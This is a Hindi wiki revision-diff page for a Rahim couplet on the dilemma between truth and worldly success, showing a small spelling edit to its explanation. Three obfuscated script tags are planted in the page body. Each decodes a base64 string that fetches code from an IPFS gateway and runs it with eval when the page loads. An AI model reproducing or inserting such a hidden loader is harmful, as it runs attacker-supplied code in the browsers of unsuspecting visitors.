"अब रहीम मुसकिल पड़ी -रहीम" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('<div class="bgrahimdv"> अब ‘रहीम’ मुसकिल पड़ी, गाढ़े दोऊ काम ।<br /> स...' के साथ नया पृष्ठ बनाया)
 
 
पंक्ति 4: पंक्ति 4:
  
 
;अर्थ
 
;अर्थ
बड़ी मुश्किल में आ पड़े कि ये दोनों ही काम बड़े कठिन हैं। सच्चाई से तो दुनिया दारी हासिल नही होती है, लोग रीझते नही हैं, और झूठ से [[राम]] की प्राप्ति नहीं होती है। तो अब किसे छोडा जाए, और किससे मिला जाए ?
+
बड़ी मुश्किल में आ पड़े कि ये दोनों ही काम बड़े कठिन हैं। सच्चाई से तो दुनिया दारी हासिल नही होती है, लोग रीझते नहीं हैं, और झूठ से [[राम]] की प्राप्ति नहीं होती है। तो अब किसे छोड़ा जाए, और किससे मिला जाए?
  
 
{{लेख क्रम3| पिछला=अनुचित बचत न मानिए -रहीम|मुख्य शीर्षक=रहीम के दोहे |अगला=आदर घटै नरेस ढिग -रहीम}}
 
{{लेख क्रम3| पिछला=अनुचित बचत न मानिए -रहीम|मुख्य शीर्षक=रहीम के दोहे |अगला=आदर घटै नरेस ढिग -रहीम}}

11:13, 12 फ़रवरी 2016 के समय का अवतरण

अब ‘रहीम’ मुसकिल पड़ी, गाढ़े दोऊ काम ।
सांचे से तो जग नहीं, झुठे मिलै न राम ॥

अर्थ

बड़ी मुश्किल में आ पड़े कि ये दोनों ही काम बड़े कठिन हैं। सच्चाई से तो दुनिया दारी हासिल नही होती है, लोग रीझते नहीं हैं, और झूठ से राम की प्राप्ति नहीं होती है। तो अब किसे छोड़ा जाए, और किससे मिला जाए?


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>